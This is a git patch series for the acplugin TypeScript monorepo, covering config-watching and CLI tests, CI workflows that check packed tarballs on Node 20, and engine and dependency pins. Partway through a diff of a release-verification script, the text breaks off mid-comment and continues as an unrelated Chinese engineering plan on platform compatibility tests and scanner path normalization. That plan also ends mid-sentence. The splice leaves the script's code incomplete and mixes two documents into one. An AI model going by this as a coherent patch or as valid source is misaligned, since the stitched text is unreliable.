=> { + /** 同时包含项目与外部 helper package 的临时 workspace。 */ + const workspace = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-config-closure-')); + roots.push(workspace); + /** 配置入口所在的独立项目根。 */ + const cwd = path.join(workspace, 'plugin'); + /** 位于项目根外且需要按 package root 监听的 helper。 */ + const helperRoot = path.join(workspace, 'shared-config'); + /** 配置实际静态导入的 TypeScript helper。 */ + const helper = path.join(helperRoot, 'value.ts'); + await fs.mkdir(cwd, { recursive: true }); + await fs.mkdir(helperRoot, { recursive: true }); + await fs.writeFile(path.join(helperRoot, 'package.json'), '{"name":"shared-config","type":"module"}\n'); + await fs.writeFile(helper, `export const description = 'First external helper.';\n`); + await fs.writeFile(path.join(cwd, 'acplugin.config.ts'), `import { description } from '../shared-config/value.ts'; +export default { name: 'closure-config', version: '1.0.0', description }; +`); + + /** 第一次执行观察到的 Jiti transform closure。 */ + const first = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); + await fs.writeFile(helper, `export const description = 'Second external helper.';\n`); + /** 新 Jiti 实例必须读取 helper 的修改而不是原生模块 cache。 */ + const second = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); + + expect(first.config.metadata.description).toBe('First external helper.'); + expect(second.config.metadata.description).toBe('Second external helper.'); + expect(first.watchFiles).toContain(await fs.realpath(helper)); + expect(first.watchRoots).toContain(await fs.realpath(helperRoot)); + }); + it('does not automatically load project .env files', async () => { delete process.env[DOTENV_KEY]; /** 配置尝试读取仅存在于项目 .env 的值。 */ diff --git a/packages/test/test/cli.test.ts b/packages/test/test/cli.test.ts index 413caa8..14e5eeb 100644 --- a/packages/test/test/cli.test.ts +++ b/packages/test/test/cli.test.ts @@ -175,6 +175,29 @@ describe.sequential('CLI subprocess contract', () => { expect(usage.code).toBe(2); expect(usage.stderr).toContain('--target'); expect(usage.stderr).toContain('--platform'); + + /** option 终止符后的同名文本不得触发旧参数专属错误。 */ + const terminated = await runCli(['build', '--', '--target'], root); + expect(terminated.stderr).not.toContain('has been removed'); + }); + + it('surfaces safe init validation reasons without exposing the internal error type', async () => { + /** 非空目标用于触发已知且可操作的初始化输入错误。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'occupied')); + await fs.writeFile(path.join(root, 'occupied/keep.txt'), 'keep'); + /** JSON 模式应保留安全原因而不是通用命令失败文本。 */ + const result = await runCli(['init', 'occupied', '--yes', '--json'], root); + /** CLI 返回的稳定失败报告。 */ + const report = JSON.parse(result.stdout); + + expect(result.code).toBe(1); + expect(result.stderr).toBe(''); + expect(report).toMatchObject({ + command: 'init', + success: false, + diagnostics: [{ code: 'INIT_INVALID', message: 'destination directory is not empty', phase: 'init' }], + }); }); it('emits one JSON document and exit 1 for project configuration errors', async () => { @@ -314,6 +337,51 @@ Say hello after recovery. expect((await fs.readdir(root)).filter(name => name.includes('.acplugin.lock'))).toEqual([]); }, 20_000); + it('watches an external static TypeScript config dependency and recovers after failure', async () => { + /** 同时容纳项目和工程外配置 helper package 的临时 workspace。 */ + const workspace = await temporaryProject(); + /** dev 子进程使用的独立项目根。 */ + const root = path.join(workspace, 'plugin'); + /** Jiti transform closure 发现并按 package 根监听的外部 helper。 */ + const helperRoot = path.join(workspace, 'shared-config'); + /** 修改后应触发配置重新执行的 TypeScript 文件。 */ + const helper = path.join(helperRoot, 'value.ts'); + await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); + await fs.mkdir(helperRoot, { recursive: true }); + await fs.writeFile(path.join(helperRoot, 'package.json'), '{"name":"shared-config","type":"module"}\n'); + await fs.writeFile(helper, `export const description = 'First external config.';\n`); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `import { description } from '../shared-config/value.ts'; +export default { name: 'external-config-plugin', version: '1.0.0', description }; +`); + await fs.writeFile(path.join(root, 'src/skills/hello/SKILL.md'), `--- +description: Verify external config watching. +--- +Watch the external helper. +`); + /** 持续监听工程外配置依赖的真实 dev 子进程。 */ + const running = startCli(['dev', '--no-strict'], root); + /** 构建输出中直接反映配置 description 的 Claude Manifest。 */ + const manifestPath = path.join(root, 'dist/claude-code/plugin/.claude-plugin/plugin.json'); + + await waitForOutput(running, stdout => stdout.includes('dev: success'), 'external config initial build'); + /** 首次成功提交的 Manifest,配置失败期间必须保持不变。 */ + const initialManifest = await fs.readFile(manifestPath, 'utf8'); + expect(JSON.parse(initialManifest)).toMatchObject({ description: 'First external config.' }); + + await fs.writeFile(helper, 'export const description = ;\n'); + await waitForOutput(running, (_stdout, stderr) => stderr.includes('CONFIG_EVALUATION_FAILED'), 'external config failed rebuild'); + expect(await fs.readFile(manifestPath, 'utf8')).toBe(initialManifest); + + await fs.writeFile(helper, `export const description = 'Second external config.';\n`); + await waitForOutput(running, stdout => stdout.match(/dev: success/g)?.length === 2, 'external config recovery build'); + expect(JSON.parse(await fs.readFile(manifestPath, 'utf8'))).toMatchObject({ description: 'Second external config.' }); + + running.child.kill('SIGINT'); + /** 外部配置依赖恢复后的信号退出状态。 */ + const stopped = await waitForExit(running); + expect(stopped.code).toBe(130); + }, 20_000); + it('rebuilds after initial watcher readiness before publishing the first success', async () => { /** 初始 ready 竞态测试使用的规范工程根。 */ const root = await temporaryProject(); diff --git a/packages/test/test/init.test.ts b/packages/test/test/init.test.ts index 6299037..99b72e3 100644 --- a/packages/test/test/init.test.ts +++ b/packages/test/test/init.test.ts @@ -2,6 +2,7 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; +import * as acplugin from '@tokenroll/acplugin'; import { initializeProject } from '@tokenroll/acplugin'; /** 当前测试创建并在 afterEach 中统一删除的临时目录。 */ @@ -26,6 +27,7 @@ describe('init', () => { .toContain('platforms: [claudeCode(), codex()]'); expect(await fs.readFile(path.join(cwd, 'demo-plugin/src/skills/demo-plugin/SKILL.md'), 'utf8')).toContain('description:'); expect(JSON.parse(await fs.readFile(path.join(cwd, 'demo-plugin/package.json'), 'utf8'))).toMatchObject({ + engines: { node: '^20.19.0 || ^22.13.0 || >=23.5.0' }, devDependencies: { typescript: '^7.0.2' }, }); }); @@ -71,4 +73,8 @@ describe('init', () => { await expect(initializeProject({ cwd, directory: 'existing', yes: true })).rejects.toThrow('not empty'); expect(await fs.readFile(path.join(cwd, 'existing/user.txt'), 'utf8')).toBe('keep'); }); + + it('keeps the specialized init error outside the public facade', () => { + expect('InitError' in acplugin).toBe(false); + }); }); From c1adf338cd0ab6ce12c389e204d4dc81aea9d34e Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Sat, 8 Aug 2026 13:45:34 +0800 Subject: [PATCH 09/27] ci: verify supported runtimes and packed module boundaries --- .github/workflows/check.yml | 2 +- .github/workflows/patch.yml | 2 +- .github/workflows/verify.yml | 89 ++++++++++++ package.json | 5 +- packages/acplugin/package.json | 4 +- packages/extensions/hooks/package.json | 2 +- packages/extensions/mcp/package.json | 2 +- packages/test/test/repository.test.ts | 37 ++++- pnpm-lock.yaml | 15 +- scripts/verify-release.mjs | 191 ++++++++++++++++++++++++- 10 files changed, 332 insertions(+), 17 deletions(-) create mode 100644 .github/workflows/verify.yml diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml index 8fdafe2..102a71b 100644 --- a/.github/workflows/check.yml +++ b/.github/workflows/check.yml @@ -15,7 +15,7 @@ jobs: - uses: pnpm/action-setup@v6 - uses: actions/setup-node@v6 with: - node-version: 20 + node-version: 22.18.0 cache: pnpm - run: pnpm install --frozen-lockfile - run: pnpm run lint diff --git a/.github/workflows/patch.yml b/.github/workflows/patch.yml index a95d073..ce2f602 100644 --- a/.github/workflows/patch.yml +++ b/.github/workflows/patch.yml @@ -42,7 +42,7 @@ jobs: - uses: pnpm/action-setup@v6 - uses: actions/setup-node@v6 with: - node-version: 20 + node-version: 22.18.0 cache: pnpm - run: pnpm install --frozen-lockfile diff --git a/.github/workflows/verify.yml b/.github/workflows/verify.yml new file mode 100644 index 0000000..80973a5 --- /dev/null +++ b/.github/workflows/verify.yml @@ -0,0 +1,89 @@ +name: Verify + +on: + workflow_dispatch: + +permissions: + contents: read + +jobs: + pack: + name: Build and verify tarballs + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v6 + with: + node-version: 22.18.0 + cache: pnpm + - run: pnpm install --frozen-lockfile + - run: pnpm run build + - name: Verify and retain the public cohort + run: pnpm run release:verify -- --tarball-dir "$RUNNER_TEMP/acplugin-tarballs" + - name: Upload the exact verified tarballs + uses: actions/upload-artifact@v7 + with: + name: acplugin-verified-tarballs + path: ${{ runner.temp }}/acplugin-tarballs/*.tgz + if-no-files-found: error + retention-days: 7 + + node-20-consumer: + name: Consume tarballs on Node 20.19 + needs: pack + runs-on: ubuntu-latest + steps: + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v6 + with: + node-version: 20.19.0 + - name: Download the exact verified tarballs + uses: actions/download-artifact@v8 + with: + name: acplugin-verified-tarballs + path: tarballs + - name: Create a clean Node 20 consumer + shell: bash + run: | + set -euo pipefail + mkdir -p consumer/src/skills/hello + node --input-type=module - "$(pwd)/tarballs" "$(pwd)/consumer" <<'NODE' + import fs from 'node:fs' + import path from 'node:path' + + const [tarballDirectory, consumer] = process.argv.slice(2) + const files = fs.readdirSync(tarballDirectory) + const locate = pattern => path.join(tarballDirectory, files.find(file => pattern.test(file))) + const dependencies = { + '@tokenroll/acplugin': `file:${locate(/^tokenroll-acplugin-\d/)}`, + '@tokenroll/acplugin-extension-hooks': `file:${locate(/^tokenroll-acplugin-extension-hooks-/)}`, + '@tokenroll/acplugin-extension-mcp': `file:${locate(/^tokenroll-acplugin-extension-mcp-/)}`, + } + fs.writeFileSync(path.join(consumer, 'package.json'), `${JSON.stringify({ + name: 'acplugin-node-20-consumer', + version: '0.0.0', + private: true, + type: 'module', + dependencies, + }, null, 2)}\n`) + fs.writeFileSync(path.join(consumer, 'acplugin.config.ts'), `import { defineConfig } from '@tokenroll/acplugin'; + + export default defineConfig({ + name: 'node-20-consumer', + version: '1.0.0', + description: 'Node 20 packed consumer.', + }); + `) + fs.writeFileSync(path.join(consumer, 'src/skills/hello/SKILL.md'), `--- + description: Verify the Node 20 consumer. + --- + Build the packed release cohort on Node 20. + `) + NODE + - name: Install and execute the clean consumer + working-directory: consumer + run: | + pnpm install --ignore-workspace + node --input-type=module --eval "await Promise.all([import('@tokenroll/acplugin'), import('@tokenroll/acplugin-extension-hooks'), import('@tokenroll/acplugin-extension-mcp')])" + pnpm exec acplugin build --json diff --git a/package.json b/package.json index 376cb8e..83bbfcf 100644 --- a/package.json +++ b/package.json @@ -5,7 +5,7 @@ "type": "module", "packageManager": "pnpm@10.34.5", "engines": { - "node": ">=20" + "node": "^22.18.0 || >=24.11.0" }, "scripts": { "build": "pnpm -r --if-present run build", @@ -32,8 +32,9 @@ "@eslint/js": "^10.0.1", "@stylistic/eslint-plugin": "^5.10.0", "@tokenroll/acplugin-extension-mcp": "workspace:^", - "@typescript/native": "catalog:", "@types/node": "catalog:", + "@typescript/native": "catalog:", + "es-module-lexer": "^2.3.1", "eslint": "^10.8.0", "husky": "^9.1.7", "lint-staged": "^17.2.0", diff --git a/packages/acplugin/package.json b/packages/acplugin/package.json index 382e97b..ced13ed 100644 --- a/packages/acplugin/package.json +++ b/packages/acplugin/package.json @@ -8,7 +8,7 @@ "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git" }, "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, "sideEffects": false, - "engines": { "node": ">=20" }, + "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, "bin": { "acplugin": "./dist/cli.mjs" }, "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" }, @@ -33,7 +33,7 @@ "@inquirer/prompts": "^8.3.2", "chalk": "^5.6.2", "chokidar": "^5.0.0", - "commander": "^15.0.0", + "commander": "14.0.1", "gray-matter": "^4.0.3", "glob": "^13.0.6", "jiti": "^2.7.0", diff --git a/packages/extensions/hooks/package.json b/packages/extensions/hooks/package.json index bb373ba..7afd5cc 100644 --- a/packages/extensions/hooks/package.json +++ b/packages/extensions/hooks/package.json @@ -8,7 +8,7 @@ "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/extensions/hooks" }, "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, "sideEffects": false, - "engines": { "node": ">=20" }, + "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, "files": ["dist", "README.md", "LICENSE"], "publishConfig": { "access": "public" }, diff --git a/packages/extensions/mcp/package.json b/packages/extensions/mcp/package.json index 2c24ce1..8eeef69 100644 --- a/packages/extensions/mcp/package.json +++ b/packages/extensions/mcp/package.json @@ -8,7 +8,7 @@ "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/extensions/mcp" }, "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, "sideEffects": false, - "engines": { "node": ">=20" }, + "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, "files": ["dist", "README.md", "LICENSE"], "publishConfig": { "access": "public" }, diff --git a/packages/test/test/repository.test.ts b/packages/test/test/repository.test.ts index 1773f9d..c6528d1 100644 --- a/packages/test/test/repository.test.ts +++ b/packages/test/test/repository.test.ts @@ -51,11 +51,13 @@ describe('repository release and documentation guards', () => { const check = await read('.github/workflows/check.yml'); /** 手动消费 Changeset 并创建版本 PR 的 Action 内容。 */ const patch = await read('.github/workflows/patch.yml'); + /** 手工构建并跨 Node 版本消费 tarball 的只读 Action 内容。 */ + const verify = await read('.github/workflows/verify.yml'); await expect(fs.access(path.join(root, '.github/workflows/publish-npm.yml'))).rejects.toThrow(); await expect(fs.access(path.join(root, 'scripts/publish-release-cohort.mjs'))).rejects.toThrow(); await expect(fs.access(path.join(root, 'scripts/verify-release-cohort.mjs'))).rejects.toThrow(); - expect(`${check}\n${patch}`).not.toMatch(/npm publish|pnpm publish|gh release|id-token: write|NPM_TOKEN/i); + expect(`${check}\n${patch}\n${verify}`).not.toMatch(/npm publish|pnpm publish|gh release|dist-tag|id-token: write|NPM_TOKEN/i); }); it('checks pull requests and creates version PRs only on manual dispatch', async () => { @@ -63,12 +65,15 @@ describe('repository release and documentation guards', () => { const check = await read('.github/workflows/check.yml'); /** 用于验证手动分支输入和版本 PR 的 Patch Action。 */ const patch = await read('.github/workflows/patch.yml'); + /** 用于验证手动只读 tarball 构建和 Node 20 消费边界的 Verify Action。 */ + const verify = await read('.github/workflows/verify.yml'); expect(check).toContain('pull_request:'); expect(check).not.toMatch(/\bpush:/); expect(check).toContain('pnpm run lint'); expect(check).toContain('pnpm run typecheck'); expect(check).not.toMatch(/pnpm run (?:test|build|release:verify)/); + expect(check).toContain('node-version: 22.18.0'); expect(patch).toContain('workflow_dispatch:'); expect(patch).toContain('target_branch:'); expect(patch).toContain('pnpm changeset status --output'); @@ -76,6 +81,36 @@ describe('repository release and documentation guards', () => { expect(patch).toContain('pnpm version-packages'); expect(patch).toContain('peter-evans/create-pull-request@v8'); expect(patch).toContain('base: ${{ inputs.target_branch }}'); + expect(patch).toContain('node-version: 22.18.0'); + expect(verify).toContain('workflow_dispatch:'); + expect(verify).not.toMatch(/\b(?:pull_request|push|schedule):/); + expect(verify).toContain('permissions:\n contents: read'); + expect(verify).toContain('node-version: 22.18.0'); + expect(verify).toContain('node-version: 20.19.0'); + expect(verify).toContain('release:verify -- --tarball-dir'); + expect(verify.match(/name: acplugin-verified-tarballs/g)).toHaveLength(2); + expect(verify).toContain('actions/upload-artifact@v7'); + expect(verify).toContain('actions/download-artifact@v8'); + }); + + it('separates the repository Node toolchain from published runtime support', async () => { + /** 根工具链和三个公开包的精确清单路径。 */ + const files = [ + 'package.json', + 'packages/acplugin/package.json', + 'packages/extensions/hooks/package.json', + 'packages/extensions/mcp/package.json', + ]; + /** 当前根与公开 manifest 的 engine/dependency 边界。 */ + const [repository, main, hooks, mcp] = await Promise.all(files.map(async file => JSON.parse(await read(file)) as { + engines?: { node?: string }; + dependencies?: Record; + })); + + expect(repository.engines?.node).toBe('^22.18.0 || >=24.11.0'); + for (const manifest of [main, hooks, mcp]) + expect(manifest.engines?.node).toBe('^20.19.0 || ^22.13.0 || >=23.5.0'); + expect(main.dependencies?.commander).toBe('14.0.1'); }); it('keeps current docs free of the retired namespace and CLI', async () => { diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 6799cb6..a26f5b1 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -47,6 +47,9 @@ importers: '@typescript/native': specifier: 'catalog:' version: typescript@7.0.2 + es-module-lexer: + specifier: ^2.3.1 + version: 2.3.1 eslint: specifier: ^10.8.0 version: 10.8.0(jiti@2.7.0) @@ -87,8 +90,8 @@ importers: specifier: ^5.0.0 version: 5.0.0 commander: - specifier: ^15.0.0 - version: 15.0.0 + specifier: 14.0.1 + version: 14.0.1 glob: specifier: ^13.0.6 version: 13.0.6 @@ -1572,9 +1575,9 @@ packages: color-name@1.1.4: resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} - commander@15.0.0: - resolution: {integrity: sha512-z67u4ZhzCL/Tydu1lJARtEZYWbWaN7oYLHbsuzocr6y4N6WZAagG3RQ4FW61V1/0+jImpj293XfrcYnd1qxtPg==} - engines: {node: '>=22.12.0'} + commander@14.0.1: + resolution: {integrity: sha512-2JkV3gUZUVrbNA+1sjBOYLsMZ5cEEl8GTFP2a4AVz5hvasAMCQ1D2l2le/cX+pV4N6ZU17zjUahLpIXRrnWL8A==} + engines: {node: '>=20'} convert-source-map@2.0.0: resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} @@ -3479,7 +3482,7 @@ snapshots: color-name@1.1.4: {} - commander@15.0.0: {} + commander@14.0.1: {} convert-source-map@2.0.0: {} diff --git a/scripts/verify-release.mjs b/scripts/verify-release.mjs index 010d64f..c1b739e 100644 --- a/scripts/verify-release.mjs +++ b/scripts/verify-release.mjs @@ -1,10 +1,12 @@ import { spawn } from 'node:child_process'; import { promises as fs } from 'node:fs'; +import { builtinModules } from 'node:module'; import os from 'node:os'; import path from 'node:path'; import process from 'node:process'; import { fileURLToPath, URL } from 'node:url'; import { checkPackage, createPackageFromTarballData } from '@arethetypeswrong/core'; +import { init as initializeModuleLexer, parse as parseModule } from 'es-module-lexer'; import { publint } from 'publint'; /** 当前 monorepo 根目录。 */ @@ -28,6 +30,37 @@ const privateNames = new Set([ ]); /** ESM-only 正式包按 ATTW esm-only Profile 有意不提供的旧/CJS 解析模式。 */ const esmOnlyIgnoredResolutions = new Set(['node10', 'node16-cjs']); +/** Node 同时允许 `node:fs` 和 legacy `fs` 形式的内建模块边。 */ +const nodeBuiltinSpecifiers = new Set(builtinModules.flatMap(name => [name, `node:${name.replace(/^node:/u, '')}`])); + +/** + * 解析可选的 tarball 保留目录,并拒绝含糊或可能覆盖已有文件的调用。 + * + * @param args Node 入口之后的命令行参数。 + * @returns 显式目录的绝对路径;本地默认临时验证时返回 undefined。 + */ +async function retainedTarballDirectory(args) { + /** pnpm 10 会把 `pnpm run '); +畸形候选构造(每平台至少覆盖其独占码): +• cursor(id:'plugin',type:'plugin',path '.cursor-plugin/plugin.json'): 写 {name:'x',version:'1.0.0',description:'d',bogus:true,commands:'./commands/*.md'} 且不产出任何 commands/ artifact → 断言 toContain 同时含 'CURSOR_MANIFEST_FIELD_UNKNOWN'(validator.ts:131-133)与 'CURSOR_MANIFEST_REFERENCE_MISSING'(:105-106)。 +• antigravity(id:'plugin',type:'plugin'): plugin.json={name:'x'} 有效,但追加 bytesArtifact('commands/release.md','x') → 断言含 'ANTIGRAVITY_UNDOCUMENTED_RESOURCE'(validator.ts:50-51)。 +• opencode(id:'workspace',type:'workspace',path 'opencode.json'): 写 {$schema:'...',bogus:1} → 断言含 'OPENCODE_CONFIG_FIELD_UNKNOWN'(validator.ts:56-58)。 +• pi(id:'package',type:'package',path 'package.json'): 写含 private:true / workspaces:['x'] 的对象(其余字段用合法 name/version/description/type/keywords:['pi-package']/pi:{}) → 断言含 'PI_PACKAGE_WORKSPACE_LEAK'(validator.ts:92-93)。 + +**边界与连带:** ①确定性:fixture 内容与 strict:false 固定,compat 由 result.compatibility 已确定性排序,toEqual 用手排数组即可;不得依赖遍历顺序。②strict 陷阱:忘记 strict:false 会让 (A) result.success===false 且 compat 仍在(compat 收集独立于 strictness),但断言语义会误导 → 必须显式 strict:false。③antigravity 工厂 options 仅 {strict}(manifest.ts:30-39),relaxedConfig 用 antigravity({strict:false}) 且 resolveConfig 的 build 也可留默认;pi/opencode/cursor 现有 resolvedConfig 传了 workspace/package/marketplace 等选项,写 relaxed 变体时保留这些选项只追加 strict:false。④validator(B) 的 toContain 而非 toEqual:pi 的 private/workspaces 也会触发 PI_PACKAGE_FIELD_UNKNOWN(validator.ts:88-90),cursor bogus 字段亦然 → 用 expect(codes).toContain(独占码),勿断言精确集合。⑤withMaterializedDeliveryUnitCandidate 会在 validate 返回后复核 artifact 完整性(transaction.ts:203-204),validator 只读不改文件 → 安全;传 temporaryParent=root 复用已 mkdtemp 的目录(codex 测试同款)。⑥DeliveryUnitRegistry.add 会校验路径/owner/hash,crafted artifacts 全用 bytesArtifact(内存源)→ 无需 ArtifactSourcePolicies,new Map() 足够。⑦opencode workspace validator 对空 opencode.json 会 early-return(:48-49);(B) 必须写非空对象才走到字段检查。⑧antigravity/pi validator 在 manifest 读失败时 early-return 不同码 → crafted manifest 必须是合法 JSON 对象。⑨连带:不改任何 src;若未来 components.ts 增删 reportCompatibility,EXPECTED 需同步——在测试注释标注锚点 file:line 便于维护。⑩不动 packages/test/secondary-platforms.test.ts(它是真实 dist 集成层,职责不同)。 + +**测试:** 修改文件(不新建共享文件): +- packages/platforms/cursor/test/platform.test.ts:加 import { DeliveryUnitRegistry, bytesArtifact, stableJson, withMaterializedDeliveryUnitCandidate, type DiagnosticInput } from '@acplugin/core'; import { validateCursorBundle } from '../src/validator.js'; import { PLUGIN_MANIFEST_PATH } from '../src/manifest.js'; 新增 createSharedFixture()+relaxedConfig()+两个 it。 +- packages/platforms/antigravity/test/platform.test.ts:同上,import { validateAntigravityBundle } from '../src/validator.js'; { PLUGIN_MANIFEST_PATH } from '../src/manifest.js'。 +- packages/platforms/opencode/test/platform.test.ts:import { validateOpenCodeBundle } from '../src/validator.js'; { WORKSPACE_CONFIG_PATH } from '../src/config-document.js'。 +- packages/platforms/pi/test/platform.test.ts:import { validatePiBundle } from '../src/validator.js'; { PACKAGE_MANIFEST_PATH } from '../src/manifest.js'。 +断言骨架(cursor 为例): + it('emits the full field-level compatibility matrix', async()=>{ + const root=await createSharedFixture(); + const result=await executeLifecycle({config:relaxedConfig(root),loadTypeScriptModule:async()=>undefined,environment:{}}); + expect(result.success).toBe(true); + expect(result.compatibility).toEqual([ + expect.objectContaining({platform:'cursor',subject:'agent:reviewer',capability:'agent.capabilities',level:'degraded'}), + expect.objectContaining({platform:'cursor',subject:'agent:reviewer',capability:'agent.model',level:'degraded'}), + expect.objectContaining({platform:'cursor',subject:'agent:reviewer',capability:'component',level:'native'}), + expect.objectContaining({platform:'cursor',subject:'command:release',capability:'argumentHint',level:'degraded'}), + expect.objectContaining({platform:'cursor',subject:'command:release',capability:'component',level:'native'}), + expect.objectContaining({platform:'cursor',subject:'skill:review',capability:'component',level:'native'}), + expect.objectContaining({platform:'cursor',subject:'skill:review',capability:'invocation.user',level:'degraded'}), + ]); + }); + it('rejects a malformed candidate at the final validate boundary', async()=>{ + const root=await createSharedFixture(); + const registry=new DeliveryUnitRegistry(new Map()); + const diagnostics: DiagnosticInput[]=[]; + const unit=await registry.add(cursor().id,{id:'plugin',role:'primary',type:'plugin',artifacts:[ + bytesArtifact(PLUGIN_MANIFEST_PATH,stableJson({name:'x',version:'1.0.0',description:'d',bogus:true,commands:'./commands/*.md'})), + ]}); + await withMaterializedDeliveryUnitCandidate(unit,candidate=>validateCursorBundle({command:'build',mode:'production',candidate,reportDiagnostic:d=>diagnostics.push(d)}),root); + const codes=diagnostics.map(d=>d.code); + expect(codes).toContain('CURSOR_MANIFEST_FIELD_UNKNOWN'); + expect(codes).toContain('CURSOR_MANIFEST_REFERENCE_MISSING'); + }); +其余三平台镜像替换 factory/id/type/path/crafted-manifest/独占码(见 changes B)。可选:用 it.each 遍历 4 条 degraded 子集降低维护成本,但精确 toEqual 集合更能锁死回归,优先精确集合。 + +**验收:** ①pnpm --filter @acplugin/platform-cursor|-antigravity|-opencode|-pi run test 全绿(pretest 会先 build core)。②四个 (A) 用例 result.compatibility 精确等于上列 7 条集合(顺序无关用 arrayContaining 需额外断言 length===7;推荐 toEqual 排序数组直接锁顺序)。③四个 (B) 用例各自 codes.toContain 对应独占码:cursor 含 CURSOR_MANIFEST_FIELD_UNKNOWN+CURSOR_MANIFEST_REFERENCE_MISSING、antigravity 含 ANTIGRAVITY_UNDOCUMENTED_RESOURCE、opencode 含 OPENCODE_CONFIG_FIELD_UNKNOWN、pi 含 PI_PACKAGE_WORKSPACE_LEAK。④pnpm -r typecheck 通过(注意 exactOptionalPropertyTypes:各平台 tsconfig 继承 base,构造 DiagnosticInput/ctx 时字段齐全)。⑤重复运行两次 compat 与 diagnostics 字节稳定(无 timestamp/绝对路径:validator 消息已无宿主路径)。 + +**工作量:** M | **独立分支:** 是 | **风险:** ①EXPECTED 是从 components.ts 静态推导(无依赖传播、strict:false),若我对 isReadOnly([filesystem:write,shell])=false 的判断或某条 reportCompatibility 触发条件读偏,精确 toEqual 会红——已逐行核对四份 components.ts,置信度高,但落地时应先跑一次打印 result.compatibility 校准再锁数组。②pi (B) 若同一 crafted manifest 同时缺 pi 对象会提前 return(validator.ts:101-104)错过 workspace 检查——务必给合法 pi:{} 与 keywords:['pi-package']。③各平台现有 resolvedConfig 是 strict 默认(未显式);新增 relaxed 变体不要改动原 happy-path 用例的严格语义。 + + +--- + +### P8 · scanner Public targetPath 反斜杠归一化两层统一,与 config.ts 对齐 + +**决策:** 把 collectPublicTree 与 finalizePublicFiles 的 targetPath 归一化从 split(path.sep).join('/') 改为 split(/[\\/]/).join('/'),两层统一并与 config.ts:248 的 split(/[\\/]/) 对齐,在空/绝对/.. 与冲突键计算之前完成。 + +**现状(锚点):** packages/core/src/scanner.ts:895 (collectPublicTree 文件分支) 返回 `targetPath: target.split(path.sep).join('/')`;scanner.ts:926 (finalizePublicFiles) `const targetPath = file.targetPath.split(path.sep).join('/').replace(/^\.\//, '')`,随后 927 做 空/绝对/.. 检查、934 计算折叠冲突键。参照 config.ts:248 `rule.from.split(/[\\/]/).includes('..')` 用的是双分隔符正则。POSIX 上 path.sep==='/',split(path.sep) 不会切分反斜杠:一个合法(不含 ..、非绝对、能通过 config.ts:248 校验)的 copy 规则 `to: 'sub\\dir'` 经 path.join 递归后,在 POSIX 产出 targetPath `sub\dir/entry`(反斜杠原样保留),而 Windows(path.sep==='\\')产出 `sub/dir/entry` —— 同一工程字节在不同宿主 OS 产出不同 Artifact 路径,违反 §18 确定性。 + +**具体改动:** + +两处同样改法(注意是 join('/') 正斜杠,不是空串——防止照抄方案里的 .join("") 笔误): + +scanner.ts:895 +- `return [{ sourcePath: source, targetPath: target.split(path.sep).join('/'), mode: modeFromStat(stat.mode) }];` ++ `return [{ sourcePath: source, targetPath: target.split(/[\\/]/).join('/'), mode: modeFromStat(stat.mode) }];` + +scanner.ts:926 +- `const targetPath = file.targetPath.split(path.sep).join('/').replace(/^\.\//, '');` ++ `const targetPath = file.targetPath.split(/[\\/]/).join('/').replace(/^\.\//, '');` + +严格说只有 926(finalize)是承载检查/冲突键的那层,是必须改的;895 一并改是为方案要求的“两层统一”,避免中间表示夹带反斜杠段。归一化顺序无需调整:926 已在 927 的检查之前完成,仅换正则。 + +**边界与连带:** 确定性:此改动是修 §18 而非引入风险——把 backslash 的宿主差异消除,POSIX/Windows 都产出 `/` 分隔的稳定路径;不引入 timestamp/绝对路径/随机。安全:config.ts:448 在 hasErrors 时提前返回,含 `..` 的反斜杠 copy 规则其实在 config 阶段(CONFIG_PUBLIC_RULE_ESCAPE)已被拦,scanner 收不到,所以本项主线价值是跨平台确定性,`..` 一致性是与 config 的纵深防御。`.replace(/^\.\//,'')` 仍在 split+join 之后:前导 `.\` 会先被规范成 `./` 再被剥掉。默认整目录分支 target 从 '' 起、段来自 fs.readdir 不含分隔符,不受影响。无其它调用点:这两行是唯二做 targetPath 分隔符归一化的地方。 + +**测试:** packages/core/test/scanner.test.ts 新增一例(沿用 temporaryProject/projectConfig/scanProject 脚手架): +``` +it('normalizes backslash Public targets to stable POSIX paths', async () => { + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'public'), { recursive: true }); + await fs.writeFile(path.join(root, 'public/file.txt'), 'x'); + const diagnostics = new DiagnosticCollector(); + const { project } = await scanProject( + projectConfig(root, { public: { copy: [{ from: 'file.txt', to: 'a\\\\b\\\\c.txt' }] } }), + diagnostics, + ); + expect(diagnostics.diagnostics).toEqual([]); + expect(project.publicFiles.map(f => f.targetPath)).toEqual(['a/b/c.txt']); +}); +``` +断言 targetPath === 